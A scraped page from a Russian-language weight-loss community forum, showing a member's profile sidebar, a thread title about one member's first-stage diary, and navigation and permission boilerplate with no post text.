* КНИГА ПОХУДЕНИЯ *
* Сообщество полных людей *
* Мой Домашний Аукцион *
avatar
Evgesha
 
 

Крыса Женщина
Регистрация : 2008-01-08
Сообщений : 56629



Возраст : 69
Как вас называть? : Татьяна Львовна
Дети : Много детей и внуков
Откуда : Украина Киев
Страна :

http://nepishka.narod.ru/

Вернуться к началу Перейти вниз

Re: Страничка петрова - Таня Первый этап

Сообщение автор Спонсируемый контент


Спонсируемый контент


Вернуться к началу Перейти вниз

Страница 1 из 3 1, 2, 3  Следующий

Предыдущая тема Следующая тема Вернуться к началу


 
Права доступа к этому форуму:
Вы не можете отвечать на сообщения